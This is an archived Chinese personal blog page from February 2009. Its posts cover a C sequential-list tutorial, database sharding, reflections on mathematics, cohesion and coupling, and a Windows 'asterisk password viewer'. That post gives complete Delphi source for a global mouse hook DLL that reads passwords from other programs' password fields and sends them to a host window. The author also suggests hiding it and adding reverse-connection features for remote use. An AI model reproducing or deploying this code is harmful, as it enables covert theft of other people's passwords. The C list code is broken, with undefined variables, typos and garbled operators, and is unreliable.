存档:2009年二月

数据结构系列顺序表(-)

二月 26, 2009 | 数据结构算法 | RSS 2.0

什么是数据结构?凭我的印象,我认为是关于计算机内部如何组织和存储的一种结构方式,就是数据以什么样的结构来存储,存储方式定了以后我们才能想办法去处理它,怎么样处理他呢就是算法。比较准备的定义是:数据结构是一门研究非数据计算的程序设计问题中的操作对象 和他们之间的关系和操作的学科。具有一定的结构关系,能够日嗯计算机进行运算的数据元素的有限几何。那什么是算法呢??
算法是为求解问题需要遵循的,被清楚的指定的简单的指令的集合,它具有以下特征
1输入2输出3确定性4有限性5能行性,可以慢慢理解它的含义。
然后我们直接切入第一个顺序表的章节。
/*
 author :jk
 date: 2009.2.25.23.33
*/
#include <stdio.h>
#define MaxSize 50
typedef char elemtype;
typedef struct node {
    elemtype data[MaxSize];
    int len;
}lnode,*List;
/*
 init the list
 */
void init(List L) {
    L->len=0;
}
int  length(List L) {
    return L->len;
}
elemtype getnode(List L,int pos) {
    if(pos < 1 || pos > L->len)  {
          printf(”error “);
    }else {
        return L->data[pos-1];
    }

}
int locate (List L,elemtype x) {
    int i = 0;
    while(i <L->len && L->data[i] != x) i++;
    if(i == L->len) return -1;
    else return (i+1);

}
int insert(List L,int pos,elements x)  {
    int j;
    if(pos < 1 || pos > L->len+1) printf(”insert error”);
    else  {
      L->len++;
      for(j = L->len;j >= pos;j–) 
        L->data[i]=L->data[j-1];
          L->data[pos-1] = x;
    }
}
void delnode(List L,int pos) {
    int j;
    if(pos < 1 || pos > L->len+1) printf(”del  error”);
    else {
        for(j = pos;j<L->len;j++)
          L->data[j-1] =L->data[j];
        L->len-;
    }

}
void print(List L) {
    int i;
    for(i = 1; j < L->len ; i++)
      printf(”%c->”,L->data[i-1]);
    printf(”%c”,L->data[L>len-1]);

}
int main() {

    int i =1,n;
    lnode L;
    char ch,x;
    init(&L);
    printf(”******list show*****”);
    printf(”type element that u want to create list end with ?”);
    ch = getchar();
    while(ch != ‘?’) {
   
        insert(&L,i,ch);
        i++;
        ch = getchar();
    }
    printf(”what you crate is “);
    print(&L);
    prinf(” the length of list is: %d”,L.len);
    printf(” type your want to search”);
    fflush(stdin);
    scanf(”%c”,&x);
    printf(”what you want to search%clist%d”,x,locate(&L,x));
    printf(”what your element location”);
    scanf(”%d”,&n);
    printf(”that is: %c”,getnode(&L,n));
    printf(”type what you want to insert “);
    fflush(stdin);
    scanf(”%c,%d”,&x,&n);
        insert(&L,n,x);
    printf(”now that is”);
        print(&L);
        fflush(stdin);
    printf(”type what you want to del”);
        scanf(”%d”,&n);
    delnode(&L,n);
    print(” del is”);
        print(&L);
        getch();
    return 0;
}

没有评论 »

近期的打算

二月 25, 2009 | 心情杂记 | RSS 2.0

为了更好的利用博客,发扬分享开源的精神,准备搞一系列的自己认识比较粗浅的东西。
1  数据结构系列
2  算法系列
3  数学系列
只是没事扯淡下,说不定万一做了呢。只是零碎的思维一闪而过。所以想记录下来。不然那么好的思想就会忘记。

主要的参考书籍:
软件设计师教程:陈平,褚华主编
数据结构 :严蔚敏,吴伟民
数据结构和算法分析 ———java语言描述 mark allen weiss
计算机算法 设计与分析 第2版 王晓东
什么是数学
编程珠玑

东城区图书馆

没有评论 »

开源数据库Sharding技术

二月 25, 2009 | linux, mysql, 网站架构 | RSS 2.0

  Sharding不是一个某个特定数据库软件附属的功能,而是在具体技术细节之上的抽象处理,是水平扩展(Scale Out,亦或横向扩展、向外扩展)的解决方案,其主要目的是为突破单节点数据库服务器的 I/O 能力限制,解决数据库扩展性问题。
‘);

   从 Shard Sharding

  ”Shard” 这个词英文的意思是”碎片”,而作为数据库相关的技术用语,似乎最早见于大型多人在线角色扮演游戏(MMORPG)中。”Sharding” 姑且称之为”分片”。

  Sharding 不是一门新技术,而是一个相对简朴的软件理念。如您所知,MySQL 5 之后才有了数据表分区功能,那么在此之前,很多 MySQL 的潜在用户都对 MySQL的扩展性有所顾虑,而是否具备分区功能就成了衡量一个数据库可扩展性与否的一个关键指标(当然不是唯一指标)。数据库扩展性是一个永恒的话题,MySQL的推广者经常会被问到:如在单一数据库上处理应用数据捉襟见肘而需要进行分区化之类的处理,是如何办到的呢? 答案是:Sharding。

  Sharding 不是一个某个特定数据库软件附属的功能,而是在具体技术细节之上的抽象处理,是水平扩展(Scale Out,亦或横向扩展、向外扩展)的解决方案,其主要目的是为突破单节点数据库服务器的 I/O 能力限制,解决数据库扩展性问题。

  事关数据库扩展性

  说起数据库扩展性,这是个非常大的话题。目前的商业数据都有自己的扩展性解决方案,在过去相对来说比较成熟,但是随着互联网的高速发展,不可避免的会带来一些计算模式上的演变,这样很多主流商业系统也难免暴露出一些不足之处。比如 Oracle 的 RAC 是采用共享存储机制,对于 I/O 密集型的应用,瓶颈很容易落在存储上,这样的机制决定后续扩容只能是 Scale Up(向上扩展) 类型,对于硬件成本、开发人员的要求、维护成本都相对比较高。

  Sharding 基本上是针对开源数据库的扩展性解决方案,很少有听说商业数据库进行 Sharding 的。目前业界的趋势基本上是拥抱 Scale Out,逐渐从 Scale Up 中解放出来。

  Sharding 的应用场景

  任何技术都是在合适的场合下能发挥应有的作用。 Sharding 也一样。联机游戏、IM、BSP 都是比较适合 Sharding的应用场景。其共性是抽象出来的数据对象之间的关联数据很小。比如IM,每个用户如果抽象成一个数据对象,完全可以独立存储在任何一个地方,数据对象是 Share Nothing 的;再比如 Blog服务提供商的站点内容,基本为用户生成内容(UGC),完全可以把不同的用户隔离到不同的存储集合,而对用户来说是透明的。

  这个 “Share Nothing” 是从数据库集群中借用的概念,举例来说,有些类型的数据粒度之间就不是 “ShareNothing”的,比如类似交易记录的历史表信息,如果一条记录中既包含卖家信息与买家信息,如果随着时间推移,买、卖家会分别与其它用户继续进行交易,这样不可避免的两个买卖家的信息会分布到不同的 Sharding DB 上,而这时如果针对买卖家查询,就会跨越更多的 Sharding ,开销就会比较大。

  Sharding 并不是数据库扩展方案的银弹,也有其不适合的场景,比如处理事务型的应用就会非常复杂。对于跨不同DB的事务,很难保证完整性,得不偿失。所以,采用什么样的 Sharding 形式,不是生搬硬套的。

  Sharding与数据库分区(Partition)的区别

  有的时候,Sharding 也被近似等同于水平分区(Horizontal Partitioning),网上很多地方也用水平分区来指代 Sharding,但我个人认为二者之间实际上还是有区别的。的确,Sharding的思想是从分区的思想而来,但数据库分区基本上是数据对象级别的处理,比如表和索引的分区,每个子数据集上能够有不同的物理存储属性,还是单个数据库范围内的操作,而 Sharding 是能够跨数据库,甚至跨越物理机器的。(见对比表格)

Sharding.png

Sharding 策略

  数据 Sharding 的策略与分区表的方式有很多类似的地方,有基于表、ID 范围、数据产生的时间或是SOA 下理念下的基于服务等众多方式可选择。而与传统的表分区方式不同的是,Sharding 策略和业务结合的更为紧密,成功的 Sharding 必须对自己的业务足够熟悉,进行众多可行性分析的基础上进行,”业务逻辑驱动”。

  Sharding 实现案例分析:Digg 网站

  作为风头正劲的 Web 2.0 网站之一的Digg.com,虽然用户群庞大,但网站数据库数据并非海量,去年同期主数据大约只有 30GB的样子,现在应该更大一些,但应该不会出现数量级上增长,数据库软件采用 MySQL 5.x。Digg.com的 IO压力非常大,而且是读集中的应用(98%的 IO是读请求)。因为提供的是新闻类服务,这类数据有其自身特点,最近时间段的数据往往是读压力最大的部分。

  根据业务特点,Digg.com 根据时间范围对主要的业务数据做 Sharding,把不到 10%的”热”数据有效隔离开来,同时对这部分数据用以更好的硬件,提供更好的用户体验。而另外 90%的数据因用户很少访问,所以尽管访问速度稍慢一点,对用户来说,影响也很小。通过 Sharding,Digg 达到了预期效果。

  现有的 Sharding 软件简介

  现在 Sharding 相关的软件实现其实不少,基于数据库层、DAO 层、不同语言下也都不乏案例。限于篇幅,作一下简要的介绍。

  MySQL Proxy + HSCALE

  一套比较有潜力的方案。其中 MySQL Proxy(http://forge.mysql.com/wiki/MySQL_Proxy) 是用 Lua 脚本实现的,介于客户端与服务器端之间,扮演Proxy 的角色,提供查询分析、失败接管、查询过滤、调整等功能。目前的 0.6 版本还做不到读、写分离。HSCALE 则是针对 MySQLProxy 插件,也是用 Lua 实现的,对 Sharding 过程简化了许多。需要指出的是,MySQL Proxy 与 HSCALE各自会带来一定的开销,但这个开销与集中式数据处理方式单条查询的开销还是要小的。

  Hibernate Shards

  这是 Google 技术团队贡献的项目(http://www.hibernate.org/414.html),该项目是在对Google 财务系统数据 Sharding 过程中诞生的。因为是在框架层实现的,所以有其独特的特性:标准的 Hibernate编程模型,会用 Hibernate 就能搞定,技术成本较低;相对弹性的 Sharding 策略以及支持虚拟 Shard 等。

  Spock Proxy

  这也是在实际需求中产生的一个开源项目。Spock(http://www.spock.com/)是一个人员查找的 Web 2.0网站。通过对自己的单一 DB 进行有效 Sharding化 而产生了SpockProxy(http://spockproxy.sourceforge.net/ ) 项目,Spock Proxy 算得上 MySQLProxy 的一个分支,提供基于范围的 Sharding 机制。Spock 是基于 Rails 的,所以Spock Proxy 也是基于Rails 构建,关注 RoR 的朋友不应错过这个项目。 HiveDB

  上面介绍了 RoR 的实现,HiveDB (http://www.hivedb.org/)则是基于Java 的实现,另外,稍有不同的是,这个项目背后有商业公司支持。

  PL/Proxy

  前面几个都是针对 MySQL 的 Sharding 方案,PL/Proxy 则是针对 PostgreSQL 的,设计思想类似Teradata 的 Hash 机制,数据存储对客户端是透明的,客户请求发送到 PL/Proxy 后,由这里分布式存储过程调用,统一分发。PL/Proxy 的设计初衷就是在这一层充当”数据总线”的职责,所以,当数据吞吐量支撑不住的时候,只需要增加更多的 PL/Proxy服务器即可。大名鼎鼎的 Skype 用的就是 PL/Proxy 的解决方案。

  Pyshards

  http://code.google.com/p/pyshards/wiki/Pyshards 这是个基于 Python的解决方案。该工具的设计目标还有个 Re-balancing 在里面,这倒是个比较激进的想法。目前只支持 MySQL 数据库。

  结束语

  Sharding 是一项仍处于高速发展中的”老”技术,随着 Web 2.0的发展,Sahrding逐渐从比较”虚”的概念变成比较”实”的运用思路,开放源代码软件大潮也给 Sharding注入新的活力,相信会有越来越多的项目采用 Sharding 技术,也会有更多成熟的 Sharding 方案和数据库附加软件涌现。

  你的站点 Sharding 了么?

  –EOF–

  另,本周末我讲参加这个活动:体验基于OpenSolaris的Web/企业应用,做一个题为《设计可扩展的面向互联网应用的MySQL数据库》的简单分享。欢迎杭州朋友光临指导。

没有评论 »

我曾经给人许下的秘密

二月 19, 2009 | 心情杂记 | RSS 2.0

某次开会我扬言,也是我2009年的目标,是什么呢?就是
1 5000行的c语言代码
2 50个俯卧撑。
就这些
目标1的实现,需要长期的积累,首先继续再温习下c语言的基础知识,已经温习好多边,然后写一遍数据结构,然后是linuxc再 温习一遍,把那两本书  看完, 特别是aupe . 再看看,写点像周立发的软件
最后自己完成一个软件

目标2 ,很容易,我一直坚持的习惯,每天锻炼身体

没有评论 »

数学的思考

二月 19, 2009 | 数学, 数据结构算法 | RSS 2.0

很少有的感觉,也有点相见恨晚的感觉,最近好长一段时间都在看数学方面的书,特别是看了《西方文化中的数学》<<数学和头脑相遇的 地方>>后,思想感觉清澈了好多,彻底扭转了我以前对数学的看法,在上学时感觉学数学学的太失败了,毕竟是为了应试,而现在怀着一种审视美的眼光去看。
数学是简单的,干净的,超然脱俗的,简单的数量关系和空间关系,揭示了大自然的美,同时又一次次的忙我们预测了大自然。物理的发展正是因为有了数学的推动才能得意上前,物理就是变动中的数学。数学与预测,单纯的一个事物有时候是能预测的,比如一个屋子里的钟表可以预测是几点钟,但是他和其他众多的物品是放到一起的,现实世界的好多物品总是互相联系的,也正是这种互相联系有促使了是不可预测的,但是我们如果能用数学的武器,抓住事物的本质,去进项演绎推理,也许能握到事物的真谛,上帝创造的世界是有规律的,我们利用数学可以去挖掘的,越接近事物的本质,你发现,你发现的越简单,keep   it stupid ,keep it simple ,通过挖掘此物的内在关系,借此,我们在现实世界中相似的东西.我们又可以通过此关系去进行预测,如,海王星的发现就是靠这样的思路去发现的。 又比如古希腊文明欧几里得的几何,用了10条公理,却推出了100多条定理,这些定理又可以用到现实中。数学,特别是在西方文明中的作用是显而易见的,从埃及文明,巴比伦文明的经验到古希腊,再到文艺复兴,再到近代发展,一次次,数学在历史上起了重大的作用。
 数学有时候是大手笔的,不关心你的局部,例如概率论,如果你抛一枚硬币让我去猜想是正还是反,很有可能错的,但是如果抛1万次,可以肯定的是大概五千次是正的,这个就是诞生与赌博游戏里的学科,但概率论确实是很重要的。
有些数学关系的逆推过程很重要。我举两个例子。
  就那刚才的概率论说问题,我们知道,如果一个袋子里有3个球,两个红的,一个蓝的,如果让我们去取,很明显,红的概率是2/3,但是我们如果逆过来想,如果我抓到一个球的概率是2/3,我们也就可以说是红的,(多次),这样想是对的,告诉你一个应用的例子,拼音字母的检查,就是利用的这个定律,比如你输入一个 spell ,从已知的标本中我们可以知道是spelling的概率是70%,而你输入了spellong,概率是0,所以就可以提示你有可能输入错误了。
如果你学过高等数学的话,知道导数,导数是研究什么的呢,据我理解,就是研究变量和变量关系的,比如,加速度是a, 时间是t ,s=1/2at2… (不太好使 编辑器),s对 t 是at ,而反过来就是微积分。。。。待续累了
 

 
    

没有评论 »

Windows文本框星号密码查看器

二月 16, 2009 | c/c++ | RSS 2.0

1、  设计原理:注册一个系统级鼠标挂钩,通过监测系统鼠标所在Windows窗口来获取密码,成功获取密码之后,通过发送自定义的Windows系统消息,到宿主程序。

2、  Hook动态链接库设计原理:采用Windows Hook技术[鼠标挂钩],切入远程进程内部,并监测当前系统鼠标所在位置的当然窗口句柄(通过Windows APIWindowFromPoint()),获取窗口句柄之后,判断当然窗口是否为文本框,并进一步判断是否为密码框,当发现是密码输入框时,当此窗口发送WM_GETTEXT消息,获取密码。成功获取密码之后,发现自定义的WM_COPYDATA消息到宿主程序;

具体实现步骤简介:

1.  设置系统鼠标挂钩:

hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);

2.  注销系统鼠标挂钩:

UnHookWindowsHookEx(hkMouseHook);

3.  监测当然窗口及窗口风格判断:

MousePos := pMhs.pt;

wnd := WindowFromPoint(pmhs.pt);

style := GetWindowLong(wnd,GWL_STYLE);

if (style and ES_PASSWORD) = ES_PASSWORD then

begin

//发现密码窗口

end;

4.  向密码框获取密码串:

SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));

5.  发送自定义消息到宿主程序:

GetMem(pmi,sizeof(TMouseInfo));

pmi.MouseX := pt.X;

pmi.MouseY := pt.Y;

pmi.MouseTitle := pwd;

GetMem(pcds,sizeof(TCopyDataStruct));

pcds.dwData := 9910;

pcds.cbData := sizeof(TMouseInfo);

pcds.lpData := pmi;

SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));

3、  宿主程序设计原理:我的宿主程序是自己学习Windows SDK开发时作品,采用纯SDK实现。SDK的编程不用废话了吧。在这个工具程序中,只需要在系统消息处理方法中,增加一个对WM_COPYDATA的拦截及处理过程就可能了。

case uMsg of

WM_COPYDATA:

begin

CXX_ReceiveCopyData(uMsg);

end;

……

end;

4、  应用技术提点:这个是本人在2002年学习Microsoft Windows SDK编程技术时的学习作品。当然,有兴趣的话,你完全可以将其Hook进一步进行隐藏,并为其增加“端口反弹”或者“半连接”功能,宿主程序可以是自己的远程XXXXXX,哈哈,这样发布出来的话,想知道的东西就多了……

5、 完整源码代码:

1.  Hook鼠标挂钩部分:

{

产品名称:     Windows 密码工具[Window98/NT/2000/XP]

功能描述:     截取Windows密码编辑框中的密码串

采用纯粹的SDK开发

能捕捉windows98/NT/2000/XP的密码框中的”*”密码

开发平台:     Windows2000 + Delphi6 + MSDN + SDK

开发者:       成晓旭

版权所有:     成晓旭

模块设计者:   成晓旭

设计思路:     采用Windows Hook技术[鼠标挂钩],切入远程进程内部,

再发送WM_GETTEXT消息截取密码,最后用SendMessage发送

WM_COPYDATA消息自定义的密码信息结构体到目标窗口,以

显示或处理Hook DLL所截取的远程进程的密码.

开始时间:     2002年3月4日

完成时间:     2002年5月24日[最终实现]

备    注:     此工具是本人在2002年开发的第二个软件

本工具在2000年6月份左右曾实现过一个Windows98下的

密码截取工具,两年以来,我一直没有放弃过实现Windows

操作系统下的所有密码的截取,如此,终于实现了两年以来

未曾实现的截取WindowsNT系列的密码.[2002/05/24]

以后的路还很长:WindowNT系列的当前用户登录密码、

内存长驻的其它密码等等.

}

unit MouseHook;

interface

uses

Messages,Windows;//,SysUtils;

var

hkMouseHook:HHook;

ProcSafelyExit:Pointer;

uCXXMsg:UINT;

procedure   DllEntryProc(ul_reason_for_call:DWORD);

procedure   SetupHook(fSet:boolean);stdcall;export;

function    CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;

procedure   AutoUnInstallHook();far;

implementation

uses DataStruct;

procedure CXX_SendCopyData(pt:TPoint;pwd:TMTitle);

var

pcds:PCopyDataStruct;

pmi:PMouseInfo;

hDec:THandle;

begin

hDec:=Findwindow(Nil,’WM_COPYDATA接收端’);

if hDec = 0 then

begin

MessageBox(0,’数据接收窗口没有找到,程序拒绝发送WM_COPYDATA消息!’,’提示’,MB_OK or MB_ICONWARNING);

Exit;

end;

try

GetMem(pmi,sizeof(TMouseInfo));

pmi.MouseX := pt.X;

pmi.MouseY := pt.Y;

pmi.MouseTitle := pwd;

GetMem(pcds,sizeof(TCopyDataStruct));

pcds.dwData := 9910;

pcds.cbData := sizeof(TMouseInfo);

pcds.lpData := pmi;

SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));

//PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));

finally

FreeMem(pmi);

FreeMem(pcds);

end;

end;

function CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;

var

pMhs:PMOUSEHOOKSTRUCT;

wnd:HWND;

style:LongInt;

MousePos:TPoint;

MouseTitle:TMTitle;

begin

if iCode = HC_ACTION then

begin

FillChar(MouseTitle,255,0);

pMhs := PMOUSEHOOKSTRUCT(lParam);

MousePos := pMhs.pt;

wnd := WindowFromPoint(pmhs.pt);

style := GetWindowLong(wnd,GWL_STYLE);

if (style and ES_PASSWORD) = ES_PASSWORD then

begin

SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));

//发送截取的信息[]

CXX_SendCopyData(MousePos,MouseTitle);

end;

end;

Result := CallNextHookEx(hkMouseHook,iCode,wParam,lParam);

end;

procedure SetupHook(fSet:boolean);stdcall;export;

begin

if fSet then

begin

if hkMouseHook <> 0 then Exit;

hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);

//if hkMouseHook <> 0 then

//    MessageBox(0,’鼠标挂钩安装成功!!!’,’挂钩提示’,MB_ICONINFORMATION or MB_OK)

//else

//    MessageBox(0,’鼠标挂钩安装失败!’,’挂钩提示’,MB_ICONWARNING or MB_OK);

end

else

begin

if hkMouseHook <> 0 then

begin

UnHookWindowsHookEx(hkMouseHook);

hkMouseHook := 0;

//if hkMouseHook = 0 then

//    MessageBox(0,’鼠标挂钩撤消成功!!!’,’挂钩提示’,MB_ICONINFORMATION or MB_OK)

//else

//    MessageBox(0,’鼠标挂钩撤消失败!’,’挂钩提示’,MB_ICONWARNING or MB_OK);

end;

end;

end;

procedure   DllEntryProc(ul_reason_for_call:DWORD);

begin

{

if ul_reason_for_call = DLL_PROCESS_ATTACH then

begin

MessageBox(0,’DLL_PROCESS_ATTACH’,’MouseDll Hint’,MB_OK or MB_ICONINFORMATION);

//uCXXMsg := RegisterWindowMessage(SELF_MESSAGE_NAME);

end

else if ul_reason_for_call = DLL_PROCESS_DETACH then

begin

MessageBox(0,’DLL_PROCESS_DETACH’,’MouseDll Hint’,MB_OK or MB_ICONINFORMATION);

end;

}

end;

procedure AutoUnInstallHook();

begin

if hkMouseHook <> 0 then

SetupHook(False);

ExitProc := ProcSafelyExit;

end;

end.

2.  宿主程序部分:

此程序中,还有关于Windows程序资源加载以及窗口背景绘制等技术的演示。

{

产品名称:     Windows 密码工具

功能描述:     截取Windows密码编辑框中的密码串

采用纯粹的SDK开发

开发平台:     Windows2000 + Delphi6 + MSDN + SDK

开发者:       成晓旭

版权所有:     成晓旭

模块设计者:   成晓旭

开始时间:     2002年3月4日

完成时间:     2002年3月4日

修改时间1:    2002年3月4日

备    注:     此工具是本人在2002年开发的第二个软件,

}

program MouseExe;

uses

Windows,

SysUtils,

Messages,

Tie_In_MHook in ’Tie_In_MHook.pas’,

DataStruct in ’DataStruct.pas’;

{$R MouseExe.res}

const

CXX_WND_CLASS = ’DC_Password’;   //主窗口类名

CXX_WND_CAPTION = ’Window2000/XP 密码捕捉工具’;

CXX_PASSKEY = ’chenxiaoxu’;

MOUSE_MOVE_TIMER = WM_USER + 9910;

SELF_MESSAGE_NAME = ’CXX_Test_Window_Message’;

var

hWndMain,               //程序主窗口句柄

hBtnCheck,               //程序发送按钮句柄

hBtnClose,              //程序关闭按钮句柄

hStcPos,               //鼠标位置提示

hStcTitle,               //窗口标题提示

hEdtPos,                //鼠标当前位置

hEdtTitle:               //获取窗口标题

LongWord;

hInstMain:  integer;    //程序实例句柄

hBGBmp :    HBITMAP;    //主窗口背景图片句柄

hCur:       HICON;

uCXXMsg:    UINT;

procedure CXX_SendCopyData();

var

pcds:PCopyDataStruct;

pmi:PMouseInfo;

hDec:THandle;

begin

hDec:=Findwindow(Nil,’WM_COPYDATA接收端’);

if hDec = 0 then

begin

MessageBox(hWndMain,’数据接收窗口没有找到,程序拒绝发送WM_COPYDATA消息!’,’提示’,MB_OK or MB_ICONWARNING);

Exit;

end;

//try

GetMem(pmi,sizeof(TMouseInfo));

pmi.MouseX := 10;

pmi.MouseY := 50;

pmi.MouseTitle := ’chenxiaoxu’;

GetMem(pcds,sizeof(TCopyDataStruct));

pcds.dwData := 9910;

pcds.cbData := sizeof(TMouseInfo);

pcds.lpData := pmi;

SendMessage(hDec,WM_COPYDATA,hWndMain,LPARAM(pcds));

//PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));

//finally

FreeMem(pmi);

FreeMem(pcds);

//end;

end;

procedure CXX_ReceiveCopyData(Msg:TMessage);

没有评论 »

高内聚,松耦合

二月 16, 2009 | 网站架构, 软件工程/编程技巧/设计模式 | RSS 2.0

耦合关系直接决定着软件面对变化时候
    1 模块与模块之间的紧耦合使得软件面对变化时,相关的模块都要随之
更改。    
    2模块与模块之间的松耦合使得软件变化时,一些模块更容易替换或者更改
但其它模块保持不变

大自然是个天生松耦合,高内聚的
高内聚,松耦合 - 玉树临风 - 玉树临风真情无限
顺便学习下高内聚,松耦合
内聚:一个模块内各个元素彼此结合的紧密程度

耦合:一个软件结构内不同模块之间互连程度的度量

一个完整的系统,模块与模块之间,尽可能的使其独立存在。

也就是说,让每个模块,尽可能的独立完成某个特定的子功能。

模块与模块之间的接口,尽量的少而简单。

如果某两个模块间的关系比较复杂的话,最好首先考虑进一步的模块划分。

这样有利于修改和组合。

在一个模块内,让每个元素之间都尽可能的紧密相连。

也就是充分利用每一个元素的功能,各施所能,以最终实现某个功能。

如果某个元素与该模块的关系比较疏松的话,可能该模块的结构还不够完善,或者是该元素是多余的。

内聚和耦合,包含了横向和纵向的关系。功能内聚和数据耦合,是我们需要达成的目标。横向的内聚和耦合,通常体现在系统的各个模块、类之间的关系,而纵向的耦合,体现在系统的各个层次之间的关系。

对于我在编码中的困惑,我是这样想的,用面向对象的思想去考虑一个类的封装。
一个方法,如何封装,拿到现实生活中来看,看这种能力(方法)是否是属于这类事物(类)的本能。
如果是,就封装在这个类里。
如果不是,则考虑封装在其它类里。
如果这种能力,很多事物都具有,则一定要封装在这类事物的总类里。
如果这种能力,很多事物都会经常用到,则可以封装成一个总类的静态方法

一个优秀软件开发人员的必修课:高内聚

高内聚 Java 软件工程 软件模式    

一个重要的模式:高内聚。

2.  高内聚(High Cohesion

高内聚是另一个普遍用来评判软件设计质量的标准。内聚,更为专业的说法叫功能内聚,是对软件系统中元素职责相关性和集中度的度量。如果元素具有高度相关的职责,除了这些职责内的任务,没有其它过多的工作,那么该元素就具有高内聚性,反之则为低内聚性。高内聚要求软件系统中的各个元素具有较高的协作性,因为在我们在完成软件需求中的一个功能,可能需要做各种事情,但是具有高内聚性的一个元素,只完成它职责内的事情,而把那些不在它职责内的事情拿去请求别人来完成。这就好像,如果我是一个项目经理,我的职责是监控和协调我的项目各个阶段的工作。当我的项目进入需求分析阶段,我会请求需求分析员来完成;当我的项目进入开发阶段,我会请求软件开发人员来完成;当我的项目需要测试的时候,我会请求测试人员。。。。。。如果我参与了开发,我就不是一个高内聚的元素,因为开发不是我的职责。我们的项目为什么要高内聚呢?我觉得可以从可读性、复用性、可维护性和易变更性四个方面来理解。

1.可读性

一个人写文章、讲事情,条理清晰才能易于理解,这同样发生在读写软件代码上。如果一堆代码写得一团乱麻,东一个跳转西一个调用,读它的人会感觉非常头疼。这种事情也许一直在写程序的你我都曾经有过经历。如果一段程序条理非常清晰,每个类通过名称或说明都能清楚明白它的意义,类的每个属性、函数也都是易于理解的它所应当完成的任务和行为,这段程序的可读性必然提高。在软件产业越来越密集,软件产业中开发人员协作越来越紧密、分工越来越细的今天,软件可读性的要求相信也越来越为人们所重视。

2.复用性

在软件开发中,最低等级的复用是代码拷贝,然后是函数的复用、对象的复用、组件的复用。软件开发中最懒的人是最聪明的人,他们总是想到复用。在代码编写的时候突然发现某个功能是曾经实现过的功能,直接把它拷贝过来就ok了。如果这段代码在同一个对象中,那么就提出来写一个函数到处调用就行了。如果不是在同一个对象中呢,就将其抽象成一个对象到处调用吧。如果不在一个项目中呢,那就做成组件给各个项目引用吧。代码复用也使我们的代码在复用的过程中不断精化、不断健壮、提高代码质量。代码的复用的确给我们的开发带来了不少便利,但是一段代码能否在各个需要的地方都能复用呢?这给我们的软件开发质量提出了新的要求:好的代码可以复用,不好的则不行。软件中的一个对象如果能保证能完成自己职能范围内的各项任务,同时又不去理会与自己职能无关的其它任务,那么它就能够保证功能的相对独立性,也就可以脱离自己所处的环境而复用到其它环境中,这是一个具有内聚性的对象。

3.可维护性和易变更性

在前面《如何在struts+spring+hibernate的框架下构建低耦合高内聚的软件》中我提到,我们现在的软件是在不断变更的,这种变更不仅来自于我们的客户,更来自于我们的市场。如果我们的软件通过变更能及时适应我们的市场需求,我们就可以在市场竞争中获胜。如何能及时变更以适应我们的市场呢,就是通过调整软件的结构,使我们每次的变更付出的代价最小,耗费的人力最小,这种变更才最快最经济。高内聚的软件,每个系统、模块、类的任务都高度相关,就使每一次的变更涉及的范围缩小到最小。比如评审表发生了变更,只会与评审表对象有关,我们不会去更改其它的对象。如果我们能做到这一点,我们的系统当然是可维护性好、易变更性好的系统。

那么,我们如何做到高内聚呢?就拿前面我提到的评审项目举例。我现在要为“评审表”对象编写一段填写并保存评审表的代码。评审表对象的职责是更新和查询评审表的数据,但是在显示一个要填写的评审表的时候,我需要显示该评审计划的名称、该评审计划有哪些评审对象需要评审。现在我如何编写显示一个要填写的评审表的代码?我在评审表对象的这个相应的函数中编写一段查询评审计划和评审对象的代码吗?假如你这样做了,你的代码就不是高内聚的,因为查询评审计划和评审对象的数据不是它的职责。正确的方法应当去请求“评审计划”对象和“评审对象”对象来完成这些工作,而“评审表”对象只是获取其结果。

另外,如果一个对象要完成一个虽然在自己职责范围内,但过程非常复杂的任务时,也应当将该任务分解成数个功能相对独立的子函数来完成。我曾经看见一个朋友写的数百行的一个函数,让人读起来非常费劲。同时这样的函数中一些相对独立的代码,本可以复用到其它代码中,也变成了不可能。所以我给大家的建议是,不要写太长的函数,超过一百行就可以考虑将一些功能分解出去。

与“低耦合”一样,高内聚也不是一个绝对,而是一个相对的指标,应当适当而不能过度。正如我们在现实生活中,如果在一个十来人的小公司,每个人的分工可能会粗一些,所分配的职责会广一些杂一些,因为其总体的任务少;而如果在一个一两百人的大公司,每个人的分工会细一些,所分配的任务会更加专一些,因为总体任务多,更需要专业化的分工来提高效率。软件开发也是一样,如果“评审计划”对象完成的业务功能少,并且不复杂,它完全可以代理它的子表“评审对象”和“评审者”的管理。但是“评审计划”对象需要完成的“对评审计划表的管理”这个基本职责包含的业务功能繁多或者复杂,它就应当将“对评审对象表的管理”交给“评审对象”对象,将“对评审者表的管理”交给“评审者”对象。同样,高内聚的可维护性好、易变更性好只能是一个相对的指标。如果一个变更的确是大范围的变更,你永远不可能通过内聚就不进行大范围的变更了。同时内聚也是要付出代价的,所以你也不必要去为了一个不太可能的变更去进行过度设计,应当掌握一个度。过度的内聚必将增加系统中元素之间的依赖,提高耦合度。所以“高内聚”与“低耦合”是矛盾的,必须权衡利弊,综合地去处理。在李洋等人翻译的《UML和模式应用》中,将内聚和耦合翻译为软件工程中的阴与阳,是中国人对内聚和耦合的最佳解释。

综上所述,“高内聚”给软件项目带来的优点是:可读性强、易维护和变更、支持低耦合、移植和重用性强。

 

一个优秀软件开发人员的必修课:GRASP2)低耦合

关键字: 设计模式       

我偶然在googleyahoo这样的搜索引擎搜索GRASP发现,除了国外的网站,国内网站多介绍和讨论GoF而很少介绍GRASP,即使这少量的文章也讲解非常粗略。个人认为作为优秀的开发人员,理解GRASPGoF更重要,故写此文章。前面我在《 (原创)一个优秀软件开发人员的必修课:GRASP软件开发模式浅析》中介绍了使用GRASP的目的,今天允许我调换一下顺序,先从低耦合讲起,因为诸如创建者模式、信息专家模式的根本目的就是降低耦合。

1.    低耦合(Low Coupling

